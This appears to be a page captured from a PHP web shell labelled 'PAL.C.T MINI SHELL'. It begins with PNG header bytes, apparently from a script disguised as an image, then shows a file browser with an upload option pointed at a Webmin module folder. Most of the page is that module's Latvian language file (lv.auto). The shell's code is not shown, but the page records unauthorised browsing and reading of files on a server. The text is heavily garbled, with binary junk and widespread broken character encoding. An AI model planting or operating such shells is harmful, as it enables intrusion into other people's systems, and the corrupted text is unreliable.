‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/status/lang/
upload
files >> //usr/libexec/webmin/status/lang/lv.auto

index_title=Sistēmas un servera statuss
index_name=Pakalpojuma nosaukums
index_host=Uz saimnieku
index_desc=Uzraudzība
index_up=Statuss
index_last=PÄ“dÄ“jÄ pÄrbaude
index_local=Vietējie
index_add=Pievienot monitora tipu:
index_sched=PlÄnotais monitorings
index_scheddesc=IeslÄ“dziet vai izslÄ“dziet plÄnoto monitoru pÄrbaudi un iestatiet adresi, uz kuru automÄtiski tiek sÅ«tÄ«tas kļūmes.
index_return=pakalpojumu saraksts
index_none=Monitori pašlaik nav definēti.
index_oldtime=Statuss no pÄ“dÄ“jÄs plÄnotÄs pÄrbaudes $1 
index_esnmp=Modulis ir konfigurÄ“ts SNMP slazdu nosÅ«tīšanai <a href='$3'>Moduļa konfigurēšana</a> lapÄ, bet modulis $1 Perl nav instalÄ“ts. <a href='$2'>Noklikšķiniet Å¡eit</a>, lai lejupielÄdÄ“tu un instalÄ“tu tÅ«lÄ«t.
index_refresh=AtsvaidzinÄÅ¡anas statuss
index_refreshdesc=NekavÄ“joties veiciet visu monitora statusu atsvaidzinÄÅ¡anu, nevis gaidiet nÄkamo plÄnoto atjauninÄjumu.
index_delete=Dzēst atlasīto
index_refsel=AtsvaidzinÄt atlasÄ«ts
index_group=$1 dalībnieki
index_tmpls=Rediģēt e-pasta veidnes
index_tmplsdesc=Skatiet un rediģējiet veidnes, kuras izmanto e-pasta ziņojumu izveidoÅ¡anai, kas nosÅ«tÄ«ti, kad uzraudzÄ«to pakalpojumu darbÄ«ba samazinÄs.

type_apache=Apache tīmekļa serveris
type_inetd=Internets un RPC serveris
type_xinetd=PaplaÅ¡inÄts interneta serveris
type_squid=KalmÄru starpniekserveris
type_bind8=BIND DNS serveris
type_dnsadmin=BIND 4 DNS serveris
type_dhcpd=DHCP serveris
type_tcp=AttÄlais TCP pakalpojums
type_http=AttÄlais HTTP pakalpojums
type_sslcert=SSL sertifikÄts
type_ftp=AttÄlÄ FTP pakalpojums
type_sendmail=Sendmail serveris
type_postfix=Postfix serveris
type_fail2ban=Fail2Ban serveris
type_ping=TÄlvadÄ«bas ping
type_proc=PÄrbaudes process
type_mysql=MySQL datu bÄzes serveris
type_postgresql=PostgreSQL datu bÄzes serveris
type_samba=Samba serveri
type_nfs=NFS serveris
type_exec=Izpildīt komandu
type_file=PÄrbaudiet failu vai direktoriju
type_traffic=Tīkla trafiks
type_space=Diska vieta
type_du=Kataloga lielums
type_consume=Diska vietas patēriņš
type_load=Slodzes vidÄ“jÄ
type_change=Faila vai direktorija maiņa
type_oldfile=Fails nav mainīts
type_qmailadmin=QMail serveris
type_mon=MON servisa monitors
type_jabber=Jabber IM serveris
type_usermin=Usermin Webserver
type_portsentry=Portsentrijas dēmons
type_hostsentry=Saimniecības dēmons
type_webmin=Webmin tīmekļa serveris
type_cfengine=KonfigurÄcijas dzinÄ“ja dÄ“mons
type_memory=Brīva atmiņa
type_proftpd=ProFTPD serveris
type_dovecot=Dovecot IMAP/POP3 serveris
type_mailserver=Pasta servera atbilde
type_sshd=SSH serveris
type_raid=RAID ierīces statuss
type_iface=Tīkla saskarnes statuss
type_init=SÄknēšanas darbÄ«ba
type_sensors=LM sensora statuss
type_nut=NUT UPS vērtība
type_mailq=Pasta rindas lielums
type_dns=DNS meklēšana
type_query=SQL vaicÄjums
type_alive=DzÄ«vÄ sistÄ“ma
type_rssh=AttÄlÄ SSH
type_slapd=LDAP serveris
type_ldap=LDAP savienojums

mon_create=Izveidot monitoru
mon_edit=Rediģēt monitoru
mon_virtualmin=BrÄ«dinÄjums! Å is monitors ir saistÄ«ts ar Virtualmin domÄ“nu $1, tÄpÄ“c to Å¡eit nevajadzÄ“tu rediģēt vai dzÄ“st.
mon_header=Monitoru informÄcija
mon_header2=Komandas palaist
mon_header3=Uzraudzītas pakalpojumu iespējas
mon_desc=Apraksts
mon_remote=Palaist uz saimnieka
mon_remotes2=Skrien saimniekiem un grupÄm
mon_local=Vietējie
mon_none=Nav definÄ“ti attÄlie serveri
mon_nosched=PÄrbaudÄ«t pÄ“c grafika?
mon_warndef=JÄ, un izmantojiet noklusÄ“juma pÄrskata režīmu
mon_warn1=JÄ, un ziņojiet par statusa izmaiņÄm
mon_warn0=JÄ, un ziņojiet, dodoties lejÄ
mon_warn2=JÄ, un ziņojiet, kad nav
mon_warn3=JÄ, bet nekad neziņo
mon_status=Pašreizējais statuss
mon_up=AugÅ¡Ä
mon_down=Uz leju
mon_webmin=Webmin Down
mon_timeout=Noildzis laiks
mon_not=Nav ieinstalets
mon_ondown=Ja monitors nokrīt, palaidiet komandu
mon_onup=Ja parÄdÄs monitors, palaidiet komandu
mon_ontimeout=Ja monitora laiks ir beidzies, palaidiet komandu
mon_clone=Monitoringa modulis
mon_err=NeizdevÄs saglabÄt monitoru
mon_edesc=Trūkst apraksta
mon_elogin=NederÄ«ga RPC pieteikÅ¡anÄs Webmin serverÄ« $1 
mon_eremote2=NevarÄ“ja sazinÄties ar Webmin serveri $1 : $2 
mon_estatus=Webmin serverim $1 nav sistēmas un servera statusa moduļa
mon_ecannot=Jums nav atļauts rediģēt monitorus
mon_ertype=Å is monitora tips nav pieejams $1 
mon_etype=Nederīgs monitora veida nosaukums
mon_runon=Palaidiet komandas ieslēgts
mon_runon0=Å is serveris
mon_runon1=AttÄlÄ saimniece
mon_oninfo=Piezīme: komandas darbosies tikai tad, kad tiks nosūtīts e-pasts
mon_fails=Neveiksmes pirms ziņošanas
mon_efails=Trūkst vai nav derīgs kļūdu skaits
mon_notify=Paziņošanas metodes
mon_notifyemail=E-pasts
mon_notifypager=Peidžeris
mon_notifysnmp=SNMP
mon_notifysms=īsziņa
mon_email=Nosūtiet e-pastu arī par šo pakalpojumu
mon_depend=NepÄrbaudiet, vai monitors nedarbojas
mon_edepend=Monitors nevar būt atkarīgs no sevis
mon_clone2=Klons
mon_skip=Izlaists
mon_empty=Nav dalībnieku
mon_onemem=Viens loceklis
mon_members=$1 dalībnieki
mon_enoremote=Nav atlasīto saimnieku vai grupu
mon_tmpl=Ziņojumu veidne
mon_notmpl=Nav (izmantojiet Webmin noklusējuma iestatījumus)
mon_header4=Statusa vēsture
mon_hwhen=PÄrbaudiet datumu
mon_hold=Vecais statuss
mon_hnew=Jauns statuss
mon_hvalue=Vērtība
mon_changes0=RÄdÄ«t katru notikuma veidu
mon_changes1=RÄdÄ«t tikai izmaiņas
mon_all=RÄdÄ«t visus vÄ“sturiskos notikumus
mon_nochanges=Pēdējos $1 vēsturiskajos notikumos statusa izmaiņas nav notikušas.

sched_title=PlÄnotais monitorings
sched_header=PlÄnotas fona uzraudzÄ«bas iespÄ“jas
sched_mode=PlÄnotÄ pÄrbaude ir iespÄ“jota?
sched_email=Nosūtīt statusa ziņojumu uz
sched_pager=Lapas statusa atskaite uz numuru
sched_none=Nesūtiet e-pastu
sched_pnone=Nesūtiet lapas
sched_from=No: adrese e-pastam
sched_int=PÄrbaudiet katru
sched_period_0=minūtes
sched_period_1=stundas
sched_period_2=dienas
sched_period_3=mēneši
sched_period_4=nedēļas
sched_offset=ar nobīdi
sched_warn=Sūtīt e-pastu, kad
sched_warn1=Kad pakalpojums maina statusu
sched_warn0=Kad pakalpojums samazinÄs
sched_warn3=Kamēr dienests nedarbojas
sched_warn2=Jebkurš laika pakalpojums nedarbojas
sched_single=Vai sūtīt vienu e-pastu par pakalpojumu?
sched_hours=Palaist monitoru stundÄs
sched_days=Palaist monitoru dienÄs
sched_err=NeizdevÄs saglabÄt plÄnoto uzraudzÄ«bu
sched_eemail=Trūkst e-pasta adreses
sched_eint=TrÅ«kst vai nav derÄ«gs intervÄls
sched_eoffset=Trūkst vai nav derīga nobīde
sched_ehours=AtlasÄ«tajÄ laikÄ nav jÄskrien stundÄm
sched_edays=Nav dienu, kurÄ skriet atlasÄ«tajÄ
sched_ecannot=Jums nav atļauts rediģēt plÄnoto uzraudzÄ«bu
sched_smtp=Sūtīt pastu caur
sched_smtp_prog=Vietējais pasta serveris
sched_smtp_server=SMTP serveris
sched_esmtp=Trūkst vai nav derīgs SMTP serveris
sched_esmtpcmd=SMTP komanda $1 neizdevÄs : $2 
sched_eemailserver=Jūsu pasta serveris nav instalēts : $1 
sched_sms=Nosūtīt SMS uz
sched_smsno=Neviens
sched_smscarrier=TÄlrunis uz operatora
sched_smsnumber=ar numuru
sched_esmsnumber=Trūkst vai nav ciparu SMS numura
sched_esmsname=Trūkst vai nederīga izskata īsziņas numurs
sched_subject=TÄ“mas rindiņa Ä«sziņÄm
sched_subject0=Nav (trauksme ir ķermenī)
sched_subject1=BrÄ«dinÄjuma teksts (atstÄjiet korpusu tukÅ¡u)
sched_subject2=PielÄgots teksts
sched_esubject=Trūkst īsziņas tēmas

up_since=Augšup kopš $1 
depends_mod=Modulis $1 nav instalÄ“ts jÅ«su sistÄ“mÄ
depends_os=JÅ«su sistÄ“mÄ netiek atbalstÄ«ts modulis $1 
depends_remote=$1 modulis netiek atbalstīts serverī $2 

tcp_host=Saimnieks, ar kuru izveidot savienojumu
tcp_port=Ports, ar kuru izveidot savienojumu
tcp_alarm=Savienojuma noildze
tcp_ehost=Trūkst vai nav derīgs resursdatora nosaukums
tcp_eport=Trūkst vai nav derīgs porta numurs
tcp_ealarm=Trūkst vai nav derīga savienojuma noildze

http_url=URL pieprasīšanai
http_alarm=Savienojuma noildze
http_eurl=Trūkst vai nav derīgs URL
http_ealarm=Trūkst vai nav derīga savienojuma noildze
http_login=PieteikÅ¡anÄs kÄ
http_none=Neautentificējiet
http_user=LietotÄjvÄrds
http_pass=paroli
http_euser=TrÅ«kst lietotÄjvÄrda
http_method=HTTP pieprasījuma metode
http_regexp=Lapai jÄatbilst regexp
http_eregexp=IevadÄ«tajai lapai nav regulÄras izteiksmes
http_none2=Neatbilst
http_ehead=HEAD pieprasÄ«juma metodi nevar izmantot, pÄrbaudot regulÄro izteiksmi
http_codes=Pieņemami HTTP statusa kodi
http_codes_def=Noklusējums ($1)
http_ecodes=Nav ievadīts neviens HTTP kods, ko pieņemt
http_ecodes3=HTTP kodam ir jÄbÅ«t trÄ«sciparu skaitlim

ping_host=Saimnieks ping
ping_wait=Laiks gaidīt atbildi
ping_ehost=Trūkst vai nav derīgs resursdatora nosaukums
ping_ewait=Trūkst vai nav derīgs gaidīšanas laiks
ping_econfig=Modulī Config nav iestatīta ping komanda
ping_timeout=Taimauts pēc $1 sekundes
ping_resolv=NeizdevÄs noteikt saimniekdatora nosaukumu

proc_pid=Darbojas ar PID $1 
proc_cmd=Komanda pÄrbaudÄ«t
proc_not=Neveiksme, ja process ir
proc_not0=Neskrien
proc_not1=Skriešana
proc_ecmd=Trūkst komandas
proc_thresh=Procesa skaits, kam jÄbÅ«t, lai monitors varÄ“tu uzsÄkt to darbÄ«bu
proc_ethresh=Trūkst vai nav derīgs procesu skaits
proc_asuser=Darbojas kÄ lietotÄjs
proc_anyuser=JebkurÅ¡ lietotÄjs
proc_easuser=LietotÄjs, lai process darbotos, kÄ neeksistÄ“

exec_cmd=Komanda palaist
exec_mode=Izejas stÄvokļa pÄrbaude
exec_mode0=Neizdodas novērot, ja komanda neizdodas
exec_mode1=Neizdodas novērot, ja komanda izdodas
exec_mode2=IgnorÄ“t panÄkumus vai neveiksmes
exec_ecmd=Trūkst komandas
exec_regexp=Salīdziniet izvadi ar regexp
exec_noregexp=NepÄrbaudi
exec_remode=Regexp pÄrbaude
exec_remode0=Neizdodas, ja izvade neatbilst
exec_remode1=Neizdodas, ja izvade sakrīt

file_file=PÄrbaudÄmais fails, direktorijs vai paraugs
file_test=PÄrbaude, lai izpildÄ«tu
file_test_0=JÄbÅ«t eksistÄ“joÅ¡am
file_test_1=NedrÄ«kst pastÄvÄ“t
file_test_2=IzmÄ“ram jÄbÅ«t lielÄkam par
file_test_3=IzmÄ“ram jÄbÅ«t mazÄkam par
file_bytes=baiti
file_efile=TrÅ«kst pÄrbaudÄmÄ faila vai direktorija nosaukuma
file_esize=Nederīgs faila lielums
file_elarge=Faili ir pÄrÄk lieli : $1 
file_esmall=Faili ir pÄrÄk mazi : $1 
file_eowner=Faili ar nepareizu īpašnieku : $1 
file_egroup=Faili ar nepareizu grupu : $1 
file_owner=Faila Ä«paÅ¡niekam jÄbÅ«t
file_group=Failu grupai jÄbÅ«t
file_nocheck=Jebkas
file_perms=OktÄlajÄm atļaujÄm jÄbÅ«t
file_eperm=Faili ar nepareizÄm atļaujÄm : $1 

traffic_iface=Monitoringa saskarne
traffic_bytes=MaksimÄlais baitu sekundÄ“
traffic_dir=Virziens monitorēšanai
traffic_dir0=IenÄkoÅ¡ie un izejoÅ¡ie
traffic_dir1=Tikai ienÄkoÅ¡ie
traffic_dir2=Tikai izejošie
traffic_desc=Å is monitors seko tÄ«kla trafikam izvÄ“lÄ“tajÄ interfeisÄ un parÄda monitoru uz leju, ja trafiks pÄrsniedz zemÄk ievadÄ«to baitu skaitu sekundÄ“. Tas darbojas patieÅ¡Äm labi tikai tad, ja plÄnotÄ uzraudzÄ«ba ir iespÄ“jota ar nelielu intervÄlu, piemÄ“ram, ik pÄ“c 5 minÅ«tÄ“m.
traffic_eifaces=JÅ«su operÄ“tÄjsistÄ“mai nav/proc/net/dev faila
traffic_ebytes=Trūkst vai nav derīgs baitu skaits sekundē

space_fs=PÄrbaudÄmÄ failu sistÄ“ma
space_min2=MinimÄlÄ brÄ«vÄ vieta
space_mode0=Absolūtais lielums
space_mode1=ProcentuÄlÄ kopsumma
space_desc=$1 bezmaksas
space_nofs=Failu sistēma nav pievienota
space_other=Cits ..
space_emin=Trūkst vai nav derīga brīva vieta
space_epc=TrÅ«kst vai nav derÄ«gs brÄ«vas vietas procentuÄlais daudzums
space_eother=Trūkst vai nav derīga failu sistēma
space_inode=MinimÄlais bezmaksas inodu skaits
space_ierr=Tikai $1 inodes ir bezmaksas
space_merr=Tikai $1 vietas nav
space_perr=Tikai $1% bez maksas
space_dferr=NeizdevÄs iegÅ«t failu sistÄ“mas lielumu

load_time=IelÄdÄ“jiet vidÄ“jo, lai pÄrbaudÄ«tu
load_1=1 minūte
load_5=5 minūtes
load_15=15 minūtes
load_max=VidÄ“jÄ maksimÄlÄ slodze
load_emax=TrÅ«kst vai nav derÄ«ga vidÄ“jÄ maksimÄlÄ slodze
load_ecmd=Komanda <tt>uptime</tt> jÅ«su sistÄ“mÄ netika atrasta
load_efmt=Komandas <tt>uptime</tt> izvadi nevarēja parsēt

log_create=Izveidots monitors $1 
log_modify=PÄrveidots monitors $1 
log_delete=Izdzēsts monitors $1 
log_sched=MainÄ«ta plÄnotÄ uzraudzÄ«ba
log_deletes=Izdzēsti $1 monitori
log_tmpl_create=Izveidota e-pasta veidne $1 
log_tmpl_modify=PÄrveidota e-pasta veidne $1 
log_tmpl_delete=Izdzēsta e-pasta veidne $1 
log_tmpl_deletes=Izdzēstas $1 e-pasta veidnes
log_refresh=Atjaunoti monitora statusi

acl_edit=Vai var rediģēt un izveidot monitorus?
acl_sched=Vai var mainÄ«t plÄnoto uzraudzÄ«bu?

change_file=PÄrraudzÄmais fails vai direktorijs (neizdodas, ja tiek mainÄ«ts)

jabber_eparser=Perl modulis $1 nav instalÄ“ts jÅ«su sistÄ“mÄ.

memory_min2=MinimÄlÄ brÄ«vÄ reÄlÄ atmiņa
memory_emin=TrÅ«kst vai nav derÄ«gs bezmaksas reÄlÄs atmiņas daudzums
memory_eproc=Webmin nezina, kÄ pÄrbaudÄ«t operÄ“tÄjsistÄ“mas brÄ«vo atmiņu
memory_free2=$1 reÄla atmiņa bez maksas
memory_freeswap=$1 virtuÄlÄ atmiņa nav pieejama
memory_freelow=Tikai $1 reÄlÄ atmiņa nav pieejama
memory_freelowswap=Tikai $1 virtuÄlÄ atmiņa nav pieejama
memory_minswap=MinimÄlÄ bezmaksas virtuÄlÄ atmiņa
memory_eminswap=TrÅ«kst vai nav derÄ«gs bezmaksas virtuÄlÄs atmiņas daudzums

proftpd_etype=Å o monitoru nevar izmantot, ja ProFTPD darbojas patstÄvÄ«gi

mailserver_to=Sūtīt e-pastu uz adresi
mailserver_timeout=Taimauts un intervÄls
mailserver_units_0=Sekundēs
mailserver_units_1=Minūtes
mailserver_units_2=Stundas
mailserver_units_3=Dienas
mailserver_desc=ZemÄk norÄdÄ«tajai adresei ir jÄbÅ«t automÄtiskajam atbildÄ“tÄjam, kas uz avota adresi atbild ar to paÅ¡u rindu TÄ“ma:.

oldfile_file=PÄrraugÄmais fails (neizdodas, ja netiek mainÄ«ts)
oldfile_diff=Neveiksme, ja netiek mainīts uz
oldfile_secs=sekundes

raid_device=RAID ierīce
raid_edevice=Neviena RAID ierīce nav atlasīta
raid_bad=Atrasts slikts disks
raid_resync=PaÅ¡laik notiek atkÄrtota meklēšana
raid_notfound=RAID ierīce $1 nav atrasta
raid_other=Cits ..

iface_iface=Saskarne, lai pÄrbaudÄ«tu

init_action=DarbÄ«ba, lai pÄrbaudÄ«tu
init_eaction=Nav atlasīta neviena darbība

refresh_title=AtsvaidzinÄÅ¡anas statuss
refresh_doing=Visu monitoru statusa atjaunošana ..
refresh_doing2=Tiek atjauninÄts atlasÄ«to monitoru $1 statuss.
refresh_done=.. darīts.

sensors_name=Sensors, lai pÄrbaudÄ«tu
sensors_value=NeizdevÄs, kad
sensors_value0=SistÄ“ma norÄda brÄ«dinÄjumu
sensors_value1=VÄ“rtÄ«ba ir zemÄka par $1 
sensors_value2=VÄ“rtÄ«ba pÄrsniedz $1 
sensors_cmd=Komanda <tt>sensori</tt> jÅ«su sistÄ“mÄ nav instalÄ“ta. Å im monitoram ir nepiecieÅ¡ama instalÄ“ta pakete lm_sensors.
sensors_none=JÅ«su sistÄ“mÄ netika atrasti sensori. Jums var bÅ«t nepiecieÅ¡ams palaist <tt>sensori-atklÄt</tt> inicializÄcijas komandu.
sensors_cur=$1 (šobrīd $2 $3)
sensors_emin=TrÅ«kst vai nav derÄ«ga minimÄlÄ vÄ“rtÄ«ba
sensors_emax=TrÅ«kst vai nav derÄ«ga maksimÄlÄ vÄ“rtÄ«ba

nut_ups=NUT UPS, lai pÄrbaudÄ«tu
nut_name=AtribÅ«ts pÄrbaudÄ«t
nut_value=NeizdevÄs, kad
nut_value1=VÄ“rtÄ«ba ir zemÄka par $1 
nut_value2=VÄ“rtÄ«ba pÄrsniedz $1 
nut_cmd=Komanda <tt>upsc</tt> jÅ«su sistÄ“mÄ nav instalÄ“ta. Å im monitoram ir jÄbÅ«t instalÄ“tai un konfigurÄ“tai NUT pakotnei.
nut_eups=Nav ievadÄ«ts USP, lai pÄrbaudÄ«tu
nut_cur=$1 (šobrīd $2)
nut_emin=TrÅ«kst vai nav derÄ«ga minimÄlÄ vÄ“rtÄ«ba
nut_emax=TrÅ«kst vai nav derÄ«ga maksimÄlÄ vÄ“rtÄ«ba

mailq_system=Pasta serveris
mailq_qmailadmin=Qmail
mailq_postfix=Pasta indekss
mailq_sendmail=Nosūtīt pastu
mailq_size=MaksimÄlais pasta rindas lielums
mailq_esize=TrÅ«kst vai nav derÄ«gs maksimÄlais rindas lielums
mailq_toomany=Uz leju - $1 ziņojumi ir rindÄ
mailq_ok=AugÅ¡up - rindÄ $1 ziņojumi

dns_server=DNS serveris
dns_host=Uzmeklēšanas resursdators
dns_address=ParedzÄ“tÄ IP adrese
dns_eserver=Trūkst vai nav derīgs DNS serveris
dns_ehost=TrÅ«kst meklÄ“jamÄ resursdatora vai tas nav derÄ«gs
dns_eaddress=TrÅ«kst vai nav derÄ«ga paredzÄ“tÄ IP adrese
dns_ecmds=Ne <tt>nslookup</tt> vai <tt>rakt</tt> komandas nav instalÄ“tas jÅ«su sistÄ“mÄ

monitor_sub_down=$1 uz leju $2 
monitor_pager_down=$1 : “$2†ir nolaists $3 
monitor_snmp_down= $1:$2 
monitor_email_down=Monitoris $1, kas atrodas “$2â€, ir atklÄjis, ka pakalpojums ir samazinÄjies lÄ«dz $3 
monitor_sub_up=$1 dublē $2 
monitor_pager_up=$1 : “$2†ir dublēts $3 
monitor_snmp_up= $1:$2 ir dublēts
monitor_email_up=Monitoris $1, kas atrodas “$2â€, ir atklÄjis, ka pakalpojums ir atjauninÄts $3 
monitor_sub_un=$1 atinstalēts $2 
monitor_pager_un= $1:$3 atinstalÄ“ta “$2â€
monitor_snmp_un= $1:$2 atinstalēta
monitor_email_un=Monitoris $1, kas atrodas '$2', ir atklÄjis, ka pakalpojums ir atinstalÄ“ts $3 
monitor_sub_webmin=$1 Webmin ir samazinÄjies uz $2 
monitor_pager_webmin=$1 : "$2" Webmin ir samazinÄta $3 
monitor_snmp_webmin= $1:$2 Webmin nav
monitor_email_webmin=Monitoris $1, kas atrodas '$2', ir atklÄjis, ka Webmin ir nokrities lÄ«dz $3 
monitor_sub_timed=$1 noilgojÄs uz $2 
monitor_pager_timed= $1:$2 noilgojÄs
monitor_snmp_timed= $1:$2 beidzÄs laiks
monitor_email_timed=$1 monitoram, kura vērtība ir $2, ir beidzies laiks $3 
monitor_sub_isdown=$1 uz leju $2 
monitor_pager_isdown=$1 : “$2†ir nolaists $3 
monitor_snmp_isdown= $1:$2 
monitor_email_isdown=Monitors $1, kurÄ norÄdÄ«ts “$2â€, ir atklÄjis, ka pakalpojuma darbÄ«ba ir pazeminÄta lÄ«dz $3 
monitor_sub_isup=$1 uz augšu uz $2 
monitor_pager_isup=$1 : "$2" ir augšup $3 
monitor_snmp_isup=$1:$2 
monitor_email_isup=MonitorÄ $1 vietnei '$2' ir konstatÄ“ts, ka pakalpojums darbojas lÄ«menÄ« $3 
monitor_sub=Servisa monitors : $1 
monitor_sub2=Servisa monitors
monitor_sub3=Servisa monitors: $1 pakalpojumi
monitor_run1=Notiek $1 braukšana uz $2.
monitor_run2=Darbojas $1 ..
monitor_runerr=NeizdevÄs palaist $1 uz $2 : $3 
monitor_email_stat=Pašreizējais statuss: $1 

deletes_egone=Viens no atlasÄ«tajiem monitoriem vairs nepastÄv
deletes_enone=Nav atlasīts neviens monitors

ftp_host=FTP servera resursdators
ftp_port=FTP ports
ftp_user=Piesakieties kÄ lietotÄjs
ftp_anon=Anonīms
ftp_pass=Ar paroli
ftp_file=IelÄdÄ“t failu
ftp_none=Nav (tikai pieteikÅ¡anÄs)
ftp_ehost=Trūkst vai nav derīga FTP servera resursdators
ftp_eport=Trūkst vai nav derīgs FTP servera ports
ftp_efile=TrÅ«kst vai nav derÄ«gs lejupielÄdÄ“jamais fails
ftp_tls=Vai izmantot TLS šifrēšanu?
ftp_etls=TLS nevar iespējot, ja nav instalēts modulis $1 Perl
ftp_econn=NeizdevÄs izveidot TLS FTP savienojumu
ftp_econn2=NeizdevÄs izveidot TLS FTP savienojumu : $1 
ftp_elogin=TLS FTP pieteikÅ¡anÄs neizdevÄs : $1 
ftp_etlsfile=TLS FTP lejupielÄde neizdevÄs : $1 

query_driver=SQL datu bÄzes tips
query_db=Datu bÄzes nosaukums
query_host=Datu bÄzes servera resursdators
query_local=Å is serveris
query_user=Piesakieties kÄ lietotÄjs
query_pass=PieteikÅ¡anÄs ar paroli
query_sql=SQL vaicÄjums izpildīšanai
query_result=GaidÄmais RezultÄts
query_ignore=IgnorÄ“t rezultÄtu
query_edriver=Perl draivera modulis $1 nav instalēts
query_edb=TrÅ«kst vai nav derÄ«gs datu bÄzes nosaukums
query_ehost=TrÅ«kst vai nav derÄ«gs datu bÄzes servera resursdators
query_euser=NederÄ«gs lietotÄjvÄrds
query_epass=Nepareiza parole
query_esql=TrÅ«kst SQL vaicÄjuma
query_eresult=TrÅ«kst gaidÄ«tÄ rezultÄta
query_elogin=PieteikÅ¡anÄs neizdevÄs : $1 
query_eprepare=SQL kļūda : $1 
query_eexecute=SQL neizdevÄs : $1 
query_ewrong=Nepareizs rezultÄts : $1 

consume_rate=MaksimÄlais patÄ“riņa Ätrums (sekundÄ“)
consume_high=Patēriņa likme ir $1 / sekundē

alive_up=Augšup $1 

rssh_host=SSH servera resursdators
rssh_ruser=Piesakieties kÄ lietotÄjs
rssh_rpass=PieteikÅ¡anÄs ar paroli
rssh_nopass=Nav nepieciešams
rssh_nologin=Nemēģiniet pieteikties
rssh_ehost=Trūkst vai nav derīga SSH servera resursdators
rssh_eruser=TrÅ«kst lietotÄjvÄrda
rssh_ecmd=Komanda <tt>ssh</tt> jÅ«su sistÄ“mÄ nav instalÄ“ta
rssh_eproc=JÅ«su sistÄ“mÄ netiek atbalstÄ«ts modulis Running Procesi
rssh_wrongpass=Nepareiza pieteikÅ¡anÄs
rssh_failed=Savienojums neizdevÄs
rssh_error=SSH kļūda
rssh_haspass=Parole
rssh_port=SSH servera ports
rssh_eport=Trūkst vai nav derīgs porta numurs

tmpls_title=E-pasta veidnes
tmpls_ecannot=Jums nav atļauts rediģēt e-pasta veidnes
tmpls_none=PagaidÄm nav definÄ“tas e-pasta veidnes. Visi brÄ«dinÄjumi tiks nosÅ«tÄ«ti, izmantojot Webmin noklusÄ“juma ziņojumus.
tmpls_desc=Apraksts
tmpls_email=E-pasta ziņa
tmpls_add=Pievienojiet jaunu e-pasta veidni.
tmpls_return=veidņu saraksts
tmpls_delete=DzÄ“st atlasÄ«tÄs veidnes

tmpl_title1=Izveidot e-pasta veidni
tmpl_title2=Rediģēt e-pasta veidni
tmpl_header=BrÄ«dinÄjuma e-pasta veidnes ziņas
tmpl_desc=Veidnes apraksts
tmpl_email=E-pasta ziņa
tmpl_sms=Īsziņa
tmpl_sms1=Webmin noklusējums
tmpl_sms0=PielÄgots ziņojums zem ..
tmpl_snmp=Peidžeru ziņa
tmpl_instr=Instrukcijas un aizstÄÅ¡ana
tmpl_subs=Å ajÄ lapÄ definÄ“tajos e-pasta, SMS un peidžeru ziņojumos var izmantot Å¡Ädus aizstÄjumus :
tmpl_subs_desc=Pakalpojuma apraksts
tmpl_subs_host=Uzņēmējs tiek uzraudzīts
tmpl_subs_date=Å odienas datums
tmpl_subs_time=Pašreizējais laiks
tmpl_subs_status=Pakalpojuma statuss, piemēram, <i>uz leju</i>
tmpl_subs2=TurklÄt jÅ«s varat izmantot nosacÄ«tus blokus, piemÄ“ram: <tt>$1 Pakalpojums nedarbojas $2 Pakalpojums ir kÄrtÄ«bÄ $3</tt>
tmpl_err=NeizdevÄs saglabÄt e-pasta veidni
tmpl_edesc=Trūkst veidnes apraksta
tmpl_emsg=Trūkst e-pasta ziņojuma
tmpl_esms=Trūkst īsziņas
tmpl_esnmp=Trūkst SNMP ziņojuma
tmpl_err2=NeizdevÄs izdzÄ“st e-pasta veidni
tmpl_eusers=To lieto Å¡Ädi monitori : $1 

dtmpls_err=NeizdevÄs izdzÄ“st veidnes
dtmpls_enone=Nav atlasīts
dtmpls_eusers=$1 izmanto Å¡Ädi monitori : $2 

sslcert_src=SertifikÄta atraÅ¡anÄs vieta
sslcert_url=No HTTPS URL
sslcert_file=No faila uz servera
sslcert_eurl=Trūkst, nav derīgs vai nav SSL URL
sslcert_efile=TrÅ«kst vai nav derÄ«gs sertifikÄta fails
sslcert_ecert=NevarÄ“ju iegÅ«t sertifikÄtu
sslcert_edown=Tīmekļa serveris nedarbojas
sslcert_days=Dienas pirms termiņa beigÄm neizdoties
sslcert_when=Kad beidzies derīguma termiņš
sslcert_mismatch=Vai atklÄt arÄ« resursdatora nosaukuma neatbilstÄ«bu?
sslcert_edays=Trūkst vai nav derīgs dienu skaits
sslcert_eopenssl=Komanda <tt>openssl</tt> ir nepiecieÅ¡ama sertifikÄtu pÄrbaudei
sslcert_estart=Nav derīgs līdz $1 
sslcert_eend=Nav derīgs pēc $1 
sslcert_left=Uz augÅ¡u - $1 dienas lÄ«dz derÄ«guma termiņa beigÄm
sslcert_ematch=Resursdatora nosaukums $1 neatbilst sertifikÄtam $2 
sslcert_emismatch=SertifikÄta resursdatora pÄrbaudi var izmantot tikai URL pÄrbaudei

du_dir=Uzraudzības direktorijs
du_max=MaksimÄlais izmÄ“rs
du_edir=Trūkst direktorijas ceļa vai tas nav absolūts
du_emax=TrÅ«kst vai nav skaitliska maksimÄlÄ lieluma
du_over=Izmērs ir $1 
du_under=Izmērs ir tikai $1 

ldap_edriver=Perl modulis $1 nav instalēts
ldap_host=LDAP servera resursdators
ldap_port=LDAP servera ports
ldap_ssl=Vai izmantot SSL savienojumu?
ldap_user=LDAP servera pieteikÅ¡anÄs
ldap_pass=LDAP servera parole

info_desc=Sistēmas monitors
info_last=Pašreizējais statuss
info_title=Sistēmas un servera statuss
